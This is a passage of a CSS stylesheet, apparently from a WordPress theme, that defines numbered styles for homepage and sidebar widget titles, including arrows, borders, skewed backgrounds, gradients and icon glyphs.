.penci-sidebar-content.style-11 .penci-border-arrow:after,
.penci-sidebar-content.style-11 .penci-border-arrow:before,
.penci-sidebar-content.style-12 .penci-border-arrow:after,
.penci-sidebar-content.style-12 .penci-border-arrow:before,
.penci-sidebar-content.style-13 .penci-border-arrow:after,
.penci-sidebar-content.style-13 .penci-border-arrow:before,
.penci-sidebar-content.style-14 .penci-border-arrow:after,
.penci-sidebar-content.style-14 .penci-border-arrow:before {
	content: none
}
.penci-homepage-title.style-10:after,
.penci-homepage-title.style-10:before,
.penci-homepage-title.style-11:after,
.penci-homepage-title.style-11:before,
.penci-homepage-title.style-12:after,
.penci-homepage-title.style-12:before,
.penci-homepage-title.style-13:after,
.penci-homepage-title.style-13:before,
.penci-homepage-title.style-14:after,
.penci-homepage-title.style-14:before {
	content: none
}
.penci-homepage-title.style-11 .inner-arrow,
.penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow {
	border: none !important;
	background-color: #444;
	color: #fff;
	border-radius: 0 0 12px;
	padding-left: 25px;
	padding-right: 25px;
	display: inline-block;
	padding-top: 0;
	padding-bottom: 0;
	line-height: 34px
}
.penci-homepage-title.style-11 .inner-arrow:after,
.penci-homepage-title.style-11 .inner-arrow:before,
.penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,
.penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before {
	content: "";
	display: inline-block;
	position: absolute;
	top: 0;
	left: 0;
	width: 0;
	height: 0;
	z-index: 1;
	border-top: 20px solid #fff;
	border-right: 15px solid transparent
}
.penci-homepage-title.style-11 .inner-arrow:after,
.penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after {
	border-right: none;
	border-top: none;
	border-bottom: 20px solid rgba(0, 0, 0, .3);
	border-left: 15px solid transparent;
	box-shadow: 2px 2px 2px rgba(0, 0, 0, .05)
}
.penci-homepage-title.style-12,
.penci-sidebar-content.style-12 .penci-border-arrow {
	border-bottom: 2px solid #313131
}
.penci-homepage-title.style-12 .inner-arrow,
.penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow {
	display: inline-block;
	margin-bottom: -2px;
	background-color: #313131;
	color: #fff;
	border: 0;
	padding-top: 0;
	padding-bottom: 0;
	line-height: 34px
}
.penci-homepage-title.style-12 .inner-arrow:before,
.penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before {
	content: "";
	display: inline-block;
	position: absolute;
	top: 0;
	width: 0;
	height: 0;
	border-bottom: 34px solid #000;
	border-right: 20px solid transparent;
	z-index: 1;
	right: -20px;
	opacity: .7;
	background-color: transparent !important
}
.penci-homepage-title.style-12.pcalign-center .inner-arrow:after,
.penci-homepage-title.style-12.pcalign-right .inner-arrow:after,
.penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after,
.penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after {
	content: "";
	display: inline-block;
	position: absolute;
	top: 0;
	width: 0;
	height: 0;
	border-bottom: 34px solid #000;
	border-left: 20px solid transparent;
	z-index: 1;
	left: -20px;
	opacity: .7;
	background-color: transparent !important
}
.penci-homepage-title.style-12.pcalign-right .inner-arrow:before,
.penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:before {
	content: none
}
.penci-homepage-title.style-13 .inner-arrow,
.penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow {
	display: inline-block;
	margin-bottom: 0;
	background-color: #313131;
	color: #fff;
	border: 0;
	padding-top: 0;
	padding-bottom: 0;
	line-height: 34px
}
.penci-homepage-title.style-13.pcalign-right .inner-arrow:before,
.penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before {
	content: none
}
.penci-homepage-title.style-13.pcalign-left .inner-arrow,
.penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow {
	padding-right: 30px
}
.penci-homepage-title.style-13.pcalign-center .inner-arrow:after,
.penci-homepage-title.style-13.pcalign-center .inner-arrow:before,
.penci-homepage-title.style-13.pcalign-left .inner-arrow:after,
.penci-homepage-title.style-13.pcalign-right .inner-arrow:before,
.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after,
.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before,
.penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after,
.penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before {
	content: "";
	display: inline-block;
	position: absolute;
	top: 0;
	width: 0;
	height: 0;
	z-index: 1;
	border-top: 16px solid transparent;
	border-bottom: 17px solid transparent
}
.penci-homepage-title.style-13.pcalign-center .inner-arrow:after,
.penci-homepage-title.style-13.pcalign-left .inner-arrow:after,
.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after,
.penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after {
	border-right: 16px solid #fff;
	right: 0
}
.penci-homepage-title.style-13.pcalign-center .inner-arrow,
.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow {
	padding-right: 30px;
	padding-left: 30px
}
.penci-homepage-title.style-13.pcalign-right .inner-arrow,
.penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow {
	padding-right: 15px;
	padding-left: 30px
}
.penci-homepage-title.style-13.pcalign-center .inner-arrow:before,
.penci-homepage-title.style-13.pcalign-right .inner-arrow:before,
.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before,
.penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before {
	left: 0;
	border-left: 15px solid #fff
}
.penci-homepage-title.style-14 .inner-arrow,
.penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow {
	display: inline-block;
	margin-bottom: 0;
	background-color: transparent !important;
	color: #fff;
	border: 0;
	position: relative;
	padding-left: 25px;
	padding-right: 25px
}
.penci-homepage-title.style-11 .inner-arrow a,
.penci-homepage-title.style-12 .inner-arrow a,
.penci-homepage-title.style-13 .inner-arrow a,
.penci-homepage-title.style-14 .inner-arrow a {
	color: inherit
}
.penci-homepage-title.style-14 .inner-arrow:before,
.penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before {
	background: #313131;
	-webkit-transform: skew(-20deg);
	-moz-transform: skew(-20deg);
	-o-transform: skew(-20deg);
	content: "";
	position: absolute;
	bottom: 0;
	top: 0;
	left: 0;
	right: 0;
	z-index: -1
}
.penci-homepage-title.style-15,
.penci-homepage-title.style-16,
.penci-homepage-title.style-18,
.penci-sidebar-content.style-15 .widget-title,
.penci-sidebar-content.style-16 .widget-title,
.penci-sidebar-content.style-18 .widget-title {
	margin-left: 0;
	margin-right: 0;
	margin-top: 0
}
.penci-homepage-title.style-15 .inner-arrow,
.penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow {
	background: #f2f2f2;
	border: none;
	padding-right: 48px
}
.penci-homepage-title.style-15.penci-border-arrow:before,
.penci-sidebar-content.style-15 .penci-border-arrow:before {
	width: 36px;
	display: block;
	top: 0;
	left: auto;
	right: 0;
	bottom: 0;
	height: 100%;
	background: #e6e6e6;
	z-index: 5;
	border: none;
	margin: 0
}
.penci-homepage-title.style-15.penci-border-arrow:after,
.penci-sidebar-content.style-15 .penci-border-arrow:after {
	left: auto;
	right: 0;
	bottom: auto;
	width: 36px;
	border: none;
	background: 0 0;
	border: none;
	z-index: 10;
	display: inline-block;
	content: "\f11a";
	font-size: 12px;
	font-family: penciicon;
	font-weight: 600;
	text-align: center;
	height: 24px;
	line-height: 24px;
	top: 50%;
	transform: translateY(-50%);
	margin: 0
}
.penci-homepage-title.style-15.pciconp-left .inner-arrow,
.penci-sidebar-content.style-15.pciconp-left .penci-border-arrow .inner-arrow {
	padding-right: 12px;
	padding-left: 48px
}
.penci-homepage-title.style-15.pciconp-left.penci-border-arrow:after,
.penci-homepage-title.style-15.pciconp-left.penci-border-arrow:before,
.penci-sidebar-content.style-15.pciconp-left .penci-border-arrow:after,
.penci-sidebar-content.style-15.pciconp-left .penci-border-arrow:before {
	left: 0;
	right: auto
}
.penci-homepage-title.style-15.penci-border-arrow.pcicon-left:after,
.penci-sidebar-content.style-15.pcicon-left .penci-border-arrow:after {
	content: "\f11d"
}
.penci-homepage-title.style-15.penci-border-arrow.pcicon-down:after,
.penci-sidebar-content.style-15.pcicon-down .penci-border-arrow:after {
	content: "\f11c"
}
.penci-homepage-title.style-15.penci-border-arrow.pcicon-up:after,
.penci-sidebar-content.style-15.pcicon-up .penci-border-arrow:after {
	content: "\f11d"
}
.penci-homepage-title.style-15.penci-border-arrow.pcicon-star:after,
.penci-sidebar-content.style-15.pcicon-star .penci-border-arrow:after {
	content: "\f005";
	font-family: FontAwesome;
	font-size: 14px
}
.penci-homepage-title.style-15.penci-border-arrow.pcicon-bars:after,
.penci-sidebar-content.style-15.pcicon-bars .penci-border-arrow:after {
	content: "\f0c9";
	font-family: FontAwesome;
	font-size: 14px
}
.penci-homepage-title.style-15.penci-border-arrow.pcicon-file:after,
.penci-sidebar-content.style-15.pcicon-file .penci-border-arrow:after {
	content: "\f0f6";
	font-family: FontAwesome;
	font-size: 14px
}
.penci-homepage-title.style-15.penci-border-arrow.pcicon-fire:after,
.penci-sidebar-content.style-15.pcicon-fire .penci-border-arrow:after {
	content: "\f06d";
	font-family: FontAwesome;
	font-size: 14px
}
.penci-homepage-title.style-15.penci-border-arrow.pcicon-book:after,
.penci-sidebar-content.style-15.pcicon-book .penci-border-arrow:after {
	content: "\f02d";
	font-family: FontAwesome;
	font-size: 14px
}
.penci-homepage-title.style-16.penci-border-arrow:before,
.penci-sidebar-content.style-16 .penci-border-arrow:before {
	content: none;
	display: none
}
.penci-homepage-title.style-16 .inner-arrow,
.penci-sidebar-content.style-16 .widget-title .inner-arrow {
	padding: 0 3px;
	border: none;
	background: 0 0 !important
}
.penci-homepage-title.style-16.penci-border-arrow:after,
.penci-sidebar-content.style-16 .penci-border-arrow:after {
	left: 0;
	right: 0;
	bottom: 0;
	top: auto;
	height: 10px;
	border: none;
	background: #efefef
}
.penci-homepage-title.style-17 .inner-arrow,
.penci-sidebar-content.style-17 .widget-title .inner-arrow {
	display: inline-block
}
.penci-homepage-title.style-18 .inner-arrow,
.penci-sidebar-content.style-18 .widget-title .inner-arrow {
	border: none !important;
	background: 0 0 !important
}
.penci-homepage-title.style-18.penci-border-arrow:after,
.penci-sidebar-content.style-18 .penci-border-arrow:after {
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	width: 100%;
	margin: 0;
	color: #dedede;
	background-image: linear-gradient(-45deg, transparent, transparent 30%, currentColor 30%, currentColor 50%, transparent 50%, transparent 80%, currentColor 80%);
	background-size: 5px 5px;
	background-color: transparent !important;
	border: none !important
}
.penci-homepage-title.style-18.penci-border-arrow:before,
.penci-sidebar-content.style-18 .penci-border-arrow:before {
	content: none;
	display: none
}
.penci-homepage-title.style-19.penci-border-arrow:after,
.penci-sidebar-content.style-19 .penci-border-arrow:after {
	background-image: linear-gradient(-90deg, transparent, transparent 30%, currentColor 30%, currentColor 50%, transparent 50%, transparent 80%, currentColor 80%)
}
.penci-homepage-title.style-20.penci-border-arrow:after,
.penci-sidebar-content.style-20 .penci-border-arrow:after {
	background-image: linear-gradient(0deg, transparent, transparent 30%, currentColor 30%, currentColor 50%, transparent 50%, transparent 80%, currentColor 80%)
}
.penci-homepage-title.style-21.penci-border-arrow,
.penci-homepage-title.style-21 .inner-arrow,
.penci-sidebar-content.style-21 .inner-arrow,
.penci-sidebar-content.style-21 .widget-title {
	border: 0;
	background: 0 0 !important;
	padding-left: 0;
	padding-right: 0;
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
	padding-top: 0
}
.penci-homepage-title.style-21:after,
.penci-homepage-title.style-21:before,
.penci-sidebar-content.style-21 .widget-title:after,
.penci-sidebar-content.style-21 .widget-title:before {
	display: none
}
.penci-sidebar-content.style-21 .widget-title,
.penci-homepage-title.style-22.penci-border-arrow {
	display: block;
}
.penci-sidebar-content.style-21 .inner-arrow,
.penci-homepage-title.style-22.penci-border-arrow .inner-arrow {
	padding-top: 7px;
	background: transparent !important;
}
.penci-homepage-title.style-21 .inner-arrow span,
.penci-sidebar-content.style-21 .widget-title span {
	color: var(--pcheading-cl)
}
.penci-homepage-title.style-21 .inner-arrow>a:after,
.penci-homepage-title.style-21 .inner-arrow>span:after,
.penci-sidebar-content.style-21 .widget-title span:after {
	position: absolute;
	left: 0;
	bottom: 0;
	width: 100px;
	height: 2px;
	content: "";
	background: linear-gradient(90deg, var(--pcaccent-cl) 0, transparent 100%)
}
.penci-homepage-title.style-21.pcalign-right .inner-arrow>span:after,
.penci-homepage-title.style-21.pcalign-right .inner-arrow>a:after,
.penci-sidebar-content.style-21.pcalign-right .widget-title span:after {
	right: 0;
	left: auto;
	background: linear-gradient(90deg, transparent 0, var(--pcaccent-cl) 100%)
}
.penci-homepage-title.style-21.pcalign-center .inner-arrow>a:after,
.penci-homepage-title.style-21.pcalign-center .inner-arrow>span:after,
.penci-sidebar-content.style-21.pcalign-center .widget-title span:after {
	left: 50%;
	right: 50%;
	transform: translateX(-50%);
	background: linear-gradient(90deg, transparent 0, var(--pcaccent-cl) 50%, transparent 100%)
}
.penci-homepage-title.style-22.penci-border-arrow,
.penci-homepage-title.style-22 .inner-arrow,
.penci-sidebar-content.style-22 .inner-arrow,
.penci-sidebar-content.style-22 .widget-title {
	border: 0;
	background: 0 0;
	padding-left: 0;
	padding-right: 0;
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
	padding-top: 0;
	display: inline-block
}
.penci-homepage-title.style-22.penci-border-arrow,
.penci-sidebar-content.style-22 .widget-title {
	display: block;
}
.penci-homepage-title.style-22:after,
.penci-homepage-title.style-22:before {
	display: none
}
.penci-homepage-title.style-22 .inner-arrow>a,
.penci-homepage-title.style-22 .inner-arrow>span,
.penci-sidebar-content.style-22 .widget-title>span {
	color: var(--pcheading-cl);
	letter-spacing: .05rem;
	z-index: 3;
	position: relative;
	background: var(--pcbg-cl);
	margin: 0 30px;
	padding: 0 10px
}
.penci-homepage-title.style-22 .inner-arrow:after,
.penci-homepage-title.style-22 .inner-arrow:before,
.penci-sidebar-content.style-22 .widget-title:after,
.penci-sidebar-content.style-22 .widget-title:before {
	position: absolute;
	left: 0;
	top: 50%;
	bottom: 50%;
	width: 8px;
	height: 8px;
	content: "";
	transform: translateY(-50%);
	background: var(--pcaccent-cl);
	z-index: 2;
	border-radius: 50%;
	border: 0
}
.penci-homepage-title.style-22 .inner-arrow:after,
.penci-sidebar-content.style-22 .widget-title:after {
	background: var(--pcborder-cl);
	left: 0;
	right: 0;
	height: 1px;
	z-index: 1;
	width: 100%
}
.penci-sidebar-content.style-22 .widget-title:after,
.penci-sidebar-content.style-22 .widget-title:before {
	display: block;
}
.penci-homepage-title.style-23.penci-border-arrow,
.penci-homepage-title.style-23 .inner-arrow,
.penci-sidebar-content.style-23 .inner-arrow,
.penci-sidebar-content.style-23 .widget-title {
	border: 0;
	background: 0 0 !important;
	padding-left: 0;
	padding-right: 0;
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
	padding-top: 0
}
.penci-homepage-title.style-23:after,
.penci-homepage-title.style-23:before,
.penci-sidebar-content.style-23 .widget-title:after,
.penci-sidebar-content.style-23 .widget-title:before {
	display: none
}
.penci-homepage-title.style-23 .inner-arrow>a,
.penci-homepage-title.style-23 .inner-arrow>span,
.penci-sidebar-content.style-23 .widget-title>span {
	color: var(--pcheading-cl);
	letter-spacing: -.005rem;
	z-index: 3;
	padding: 0 0 0 35px;
	position: relative;
	display: inline-block
}
.penci-homepage-title.style-23 .inner-arrow>span:after,
.penci-homepage-title.style-23 .inner-arrow>span:before,
.penci-homepage-title.style-23 .inner-arrow>a:after,
.penci-homepage-title.style-23 .inner-arrow>a:before,
.penci-sidebar-content.style-23 .widget-title>span:after,
.penci-sidebar-content.style-23 .widget-title>span:before {
	position: absolute;
	left: 5px;
	top: 50%;
	bottom: 50%;
	width: 9px;
	height: 85%;
	content: "";
	transform: translateY(-50%) skew(-20deg);
	background: var(--pcaccent-cl);
	z-index: 2
}
.penci-homepage-title.style-23 .inner-arrow>a:after,
.penci-homepage-title.style-23 .inner-arrow>span:after,
.penci-sidebar-content.style-23 .widget-title>span:after {
	left: 17px;
	background: var(--pcborder-cl)
}
.penci-homepage-title.style-24.penci-border-arrow,
.penci-homepage-title.style-24 .inner-arrow,
.penci-sidebar-content.style-24 .inner-arrow,
.penci-sidebar-content.style-24 .widget-title {
	border: 0;
	background: 0 0 !important;
	padding-left: 0;
	padding-right: 0;
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
	padding-top: 0
}
.penci-homepage-title.style-24:after,
.penci-homepage-title.style-24:before,
.penci-sidebar-content.style-24 .widget-title:after,
.penci-sidebar-content.style-24 .widget-title:before {
	display: none
}
.penci-homepage-title.style-24 .inner-arrow>a,
.penci-homepage-title.style-24 .inner-arrow>span,
.penci-sidebar-content.style-24 .widget-title>span {
	color: var(--pcheading-cl);
	padding: 0 0 10px;
	z-index: 3;
	position: relative;
	display: inline-block
}
.penci-homepage-title.style-24 .inner-arrow>a:after,
.penci-homepage-title.style-24 .inner-arrow>a:before,
.penci-homepage-title.style-24 .inner-arrow>span:after,
.penci-homepage-title.style-24 .inner-arrow>span:before,
.penci-sidebar-content.style-24 .widget-title>span:after,
.penci-sidebar-content.style-24 .widget-title>span:before {
	position: absolute;
	left: 0;
	bottom: 0;
	width: 15px;
	height: 5px;
	content: "";
	background: var(--pcaccent-cl);
	z-index: 2
}
.penci-homepage-title.style-24 .inner-arrow>a:after,
.penci-homepage-title.style-24 .inner-arrow>span:after,
.penci-sidebar-content.style-24 .widget-title>span:after {
	left: 20px;
	background: var(--pcborder-cl);
	width: calc(100% - 20px)
}
.penci-homepage-title.style-25.penci-border-arrow,
.penci-homepage-title.style-25 .inner-arrow,
.penci-sidebar-content.style-25 .inner-arrow,
.penci-sidebar-content.style-25 .widget-title {
	border: 0;
	background: 0 0;
	margin-left: 0;
	margin-right: 0;
	margin-top: 0
}
.penci-homepage-title.style-25 .inner-arrow,
.penci-sidebar-content.style-25 .inner-arrow,
.penci-sidebar-content.style-25 .widget-title {
	border: 0;
	background: var(--pcaccent-cl);
	overflow: hidden
}
.penci-homepage-title.style-25:after,
.penci-homepage-title.style-25:before,
.penci-sidebar-content.style-25 .widget-title:after,
.penci-sidebar-content.style-25 .widget-title:before {
	display: none
}
.penci-homepage-title.style-25 .inner-arrow>a,
.penci-homepage-title.style-25 .inner-arrow>span,
.penci-sidebar-content.style-25 .widget-title span {
	color: #fff;
	font-size: 18px;
	z-index: 3;
	font-weight: bolder;
	text-shadow: var(--pcheading-cl) 1px 1px, var(--pcheading-cl) 2px 2px, var(--pcheading-cl) 3px 3px, var(--pcheading-cl) 3px 3px, var(--pcheading-cl) 4px 4px, var(--pcheading-cl) 5px 5px, var(--pcheading-cl) 6px 6px, var(--pcheading-cl) 7px 7px, var(--pcheading-cl) 8px 8px, var(--pcheading-cl) 9px 9px, var(--pcheading-cl) 10px 10px, var(--pcheading-cl) 11px 11px, var(--pcheading-cl) 12px 12px, var(--pcheading-cl) 13px 13px, var(--pcheading-cl) 14px 14px, var(--pcheading-cl) 15px 15px, var(--pcheading-cl) 16px 16px, var(--pcheading-cl) 17px 17px, var(--pcheading-cl) 18px 18px, var(--pcheading-cl) 19px 19px, var(--pcheading-cl) 20px 20px, var(--pcheading-cl) 21px 21px, var(--pcheading-cl) 22px 22px, var(--pcheading-cl) 23px 23px, var(--pcheading-cl) 24px 24px, var(--pcheading-cl) 25px 25px, var(--pcheading-cl) 26px 26px, var(--pcheading-cl) 27px 27px, var(--pcheading-cl) 28px 28px, var(--pcheading-cl) 29px 29px, var(--pcheading-cl) 30px 30px, var(--pcheading-cl) 31px 31px, var(--pcheading-cl) 32px 32px, var(--pcheading-cl) 33px 33px, var(--pcheading-cl) 34px 34px, var(--pcheading-cl) 35px 35px, var(--pcheading-cl) 36px 36px, var(--pcheading-cl) 37px 37px, var(--pcheading-cl) 38px 38px, var(--pcheading-cl) 39px 39px, var(--pcheading-cl) 40px 40px, var(--pcheading-cl) 41px 41px, var(--pcheading-cl) 42px 42px, var(--pcheading-cl) 43px 43px, var(--pcheading-cl) 44px 44px, var(--pcheading-cl) 45px 45px, var(--pcheading-cl) 46px 46px, var(--pcheading-cl) 47px 47px, var(--pcheading-cl) 48px 48px, var(--pcheading-cl) 49px 49px, var(--pcheading-cl) 50px 50px, var(--pcheading-cl) 51px 51px, var(--pcheading-cl) 52px 52px, var(--pcheading-cl) 53px 53px, var(--pcheading-cl) 54px 54px, var(--pcheading-cl) 55px 55px, var(--pcheading-cl) 56px 56px, var(--pcheading-cl) 57px 57px, var(--pcheading-cl) 58px 58px, var(--pcheading-cl) 59px 59px, var(--pcheading-cl) 60px 60px, var(--pcheading-cl) 61px 61px, var(--pcheading-cl) 62px 62px, var(--pcheading-cl) 63px 63px, var(--pcheading-cl) 64px 64px, var(--pcheading-cl) 65px 65px, var(--pcheading-cl) 66px 66px, var(--pcheading-cl) 67px 67px, var(--pcheading-cl) 68px 68px, var(--pcheading-cl) 69px 69px, var(--pcheading-cl) 70px 70px, var(--pcheading-cl) 71px 71px, var(--pcheading-cl) 72px 72px, var(--pcheading-cl) 73px 73px, var(--pcheading-cl) 74px 74px, var(--pcheading-cl) 75px 75px, var(--pcheading-cl) 76px 76px, var(--pcheading-cl) 77px 77px, var(--pcheading-cl) 78px 78px, var(--pcheading-cl) 79px 79px, var(--pcheading-cl) 80px 80px, var(--pcheading-cl) 81px 81px, var(--pcheading-cl) 82px 82px, var(--pcheading-cl) 83px 83px, var(--pcheading-cl) 84px 84px, var(--pcheading-cl) 85px 85px, var(--pcheading-cl) 86px 86px, var(--pcheading-cl) 87px 87px, var(--pcheading-cl) 88px 88px, var(--pcheading-cl) 89px 89px, var(--pcheading-cl) 90px 90px, var(--pcheading-cl) 91px 91px, var(--pcheading-cl) 92px 92px, var(--pcheading-cl) 93px 93px, var(--pcheading-cl) 94px 94px, var(--pcheading-cl) 95px 95px, var(--pcheading-cl) 96px 96px, var(--pcheading-cl) 97px 97px, var(--pcheading-cl) 98px 98px, var(--pcheading-cl) 99px 99px, var(--pcheading-cl) 100px 100px
}
.penci-homepage-title.style-26 .inner-arrow, 
.penci-sidebar-content.style-26 .inner-arrow, 
.penci-sidebar-content.style-26 .widget-title {
  	border: 0;
}
.penci-homepage-title.style-26 .inner-arrow, 
.penci-sidebar-content.style-26 .widget-title{
	background: transparent !important;
}
.penci-sidebar-content.style-26 .widget-title:before,
.penci-sidebar-content.style-26 .widget-title:after,
.penci-homepage-title.style-26:before, 
.penci-homepage-title.style-26:after {
  	display: none;
}
.penci-sidebar-content.style-26 .widget-title,
.penci-homepage-title.style-26 {
  	margin-left: 0;
  	margin-right: 0;
	margin-top: 0;
}
.penci-sidebar-content.style-26 .inner-arrow,
.penci-homepage-title.style-26 .inner-arrow {
  	padding: 0;
}
.penci-sidebar-content.style-26 .inner-arrow {
  	display: inline-block;
}
.penci-sidebar-content.style-26 .widget-title {
	position: relative;
}
.penci-sidebar-content.style-26 .widget-title:after,
.penci-homepage-title.style-26 .inner-arrow:after {
	width: 100%;
	content: '';
	background: var(--pcborder-cl);
	display: block;
	height: 2px;
	position: absolute;
	top: 50%;
	bottom: 50%;
	border: 0;
	left: 0;
	right: 0;
	margin-top: -1px;
}
.penci-sidebar-content.style-26 .inner-arrow,
.penci-homepage-title.style-26 .inner-arrow span span {
	background-color: var(--pcbg-cl) !important;
	position: relative;
	z-index: 2;
	padding-right: 20px;
	border-right: 2px solid var(--pcborder-cl);
}
.penci-homepage-title.style-26 .pcnav-lgroup {
	background-color: var(--pcbg-cl) !important;
}
.penci-sidebar-content.style-26.pcalign-right .inner-arrow,
.penci-sidebar-content.style-26.pcalign-center .inner-arrow,
.penci-homepage-title.style-26.pcalign-right .inner-arrow span span,
.penci-homepage-title.style-26.pcalign-center .inner-arrow span span {
  	padding-left: 20px;
  	border-left: 2px solid var(--pcborder-cl);
}
.penci-sidebar-content.style-26.pcalign-right .inner-arrow,
.penci-homepage-title.style-26.pcalign-right .inner-arrow span span {
	border-right: 0;
	padding-right: 0;
}
.penci-homepage-title.style-27 .inner-arrow,
.penci-sidebar-content.style-27 .inner-arrow,
.penci-sidebar-content.style-27 .widget-title {
	border: 0;
}
.penci-homepage-title.style-27 .inner-arrow,
.penci-sidebar-content.style-27 .widget-title {
	background: transparent !important;
}
.penci-sidebar-content.style-27 .widget-title:before,
.penci-sidebar-content.style-27 .widget-title:after,
.penci-homepage-title.style-27:before,
.penci-homepage-title.style-27:after {
	display: none;
}
.penci-sidebar-content.style-27 .widget-title,
.penci-homepage-title.style-27 {
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
}
.penci-sidebar-content.style-27 .inner-arrow,
.penci-homepage-title.style-27 .inner-arrow {
	padding: 0;
}
.penci-sidebar-content.style-27 .inner-arrow {
	display: inline-block;
}
.penci-sidebar-content.style-27 .widget-title {
	position: relative;
}
.penci-sidebar-content.style-27 .widget-title:after,
.penci-homepage-title.style-27 .inner-arrow:after {
	width: 100%;
	content: "";
	background: var(--pcborder-cl);
	box-shadow: 0px 3px 0px var(--pcborder-cl);
	display: block;
	height: 1px;
	position: absolute;
	top: 50%;
	bottom: 50%;
	border: 0;
	left: 0;
	right: 0;
	margin-top: -1px;
}
.penci-sidebar-content.style-27 .inner-arrow,
.penci-homepage-title.style-27 .inner-arrow span span {
	background-color: var(--pcbg-cl) !important;
	position: relative;
	z-index: 2;
	padding-right: 20px;
}
.penci-homepage-title.style-27 .pcnav-lgroup {
	background-color: var(--pcbg-cl) !important;
}
.penci-sidebar-content.style-27.pcalign-right .inner-arrow,
.penci-sidebar-content.style-27.pcalign-center .inner-arrow,
.penci-homepage-title.style-27.pcalign-right .inner-arrow span span,
.penci-homepage-title.style-27.pcalign-center .inner-arrow span span {
	padding-left: 20px;
}
.penci-sidebar-content.style-27.pcalign-right .inner-arrow,
.penci-homepage-title.style-27.pcalign-right .inner-arrow span span {
	border-right: 0;
	padding-right: 0;
}
.penci-homepage-title.style-28 {
	padding: 0;
	margin-top: 0;
	margin-left: 0;
	margin-right: 0;
	--pcheading-cl: #fff;
}
.penci-homepage-title.style-28 .inner-arrow {
	border: 0;
	background: transparent;
	padding: 0;
  	padding-left: 10px;
}
.penci-homepage-title.style-28:before,
.penci-homepage-title.style-28:after {
	display: none;
}
.penci-homepage-title.style-28 span a,
.penci-homepage-title.style-28 span {
	position: relative;
}
.penci-homepage-title.style-28 .inner-arrow > span {
	display: inline-flex;
  	align-items: center;
}
.penci-homepage-title.style-28 span a,
.penci-homepage-title.style-28 span span {
	padding: 5px 12px;
	margin: 0 10px;
	z-index: 4;
	color: var(--pcheading-cl);
}
.penci-homepage-title.style-28 .inner-arrow > span:before,
.penci-homepage-title.style-28 .inner-arrow > span:after,
.penci-homepage-title.style-28 span a:before,
.penci-homepage-title.style-28 span a:after,
.penci-homepage-title.style-28 span span:before,
.penci-homepage-title.style-28 span span:after {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: var(--pcaccent-cl);
	content: "";
	display: block;
	z-index: -1;
	transform: skew(-10deg, 0deg);
	opacity: 1;
}
.penci-homepage-title.style-28 span a:before,
.penci-homepage-title.style-28 span span:before {
	width: 10px;
	right: auto;
	left: -15px;
	opacity: 0.7;
}
.penci-homepage-title.style-28 .inner-arrow > span:before,
.penci-homepage-title.style-28 .inner-arrow > span:after {
	width: 7px;
	left: auto;
	right: -2px;
	opacity: 0.7;
}
.penci-homepage-title.style-28 .inner-arrow > span:after {
	right: -18px;
	width: 12px;
	opacity: 0.5;
}
.penci-sidebar-content.style-28 .inner-arrow,
.penci-sidebar-content.style-28 .widget-title {
	border: 0;
}
.penci-sidebar-content.style-28 .widget-title {
	background: transparent !important;
}
.penci-sidebar-content.style-28 .widget-title:before,
.penci-sidebar-content.style-28 .widget-title:after {
	display: none;
}
.penci-sidebar-content.style-28 .widget-title {
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
}
.penci-sidebar-content.style-28 .inner-arrow {
	padding: 0;
}
.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow {
	padding: 0;
	margin: 0;
	--pcheading-cl: #fff;
}
.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow {
	border: 0;
	background: transparent;
}
.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow {
	position: relative;
}
.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow {
	padding: 5px 12px;
	margin: 0 10px;
	z-index: 4;
	color: var(--pcheading-cl);
}
.penci-sidebar-content.style-28 .penci-border-arrow:before,
.penci-sidebar-content.style-28 .penci-border-arrow:after,
.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow:before,
.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow:after {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	background: var(--pcaccent-cl);
	content: "";
	display: block;
	z-index: -1;
	transform: skew(-10deg, 0deg);
	opacity: 1;
	height: 100%;
}
.penci-sidebar-content.style-28 .penci-border-arrow:before,
.penci-sidebar-content.style-28 .penci-border-arrow:after,
.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow:before {
	width: 10px;
	right: auto;
	left: -15px;
	opacity: 0.7;
}
.penci-sidebar-content.style-28 .penci-border-arrow:before,
.penci-sidebar-content.style-28 .penci-border-arrow:after {
	border: 0;
}
.penci-sidebar-content.style-28 .penci-border-arrow:before,
.penci-sidebar-content.style-28 .penci-border-arrow:after {
	width: 7px;
	left: auto;
	right: -2px;
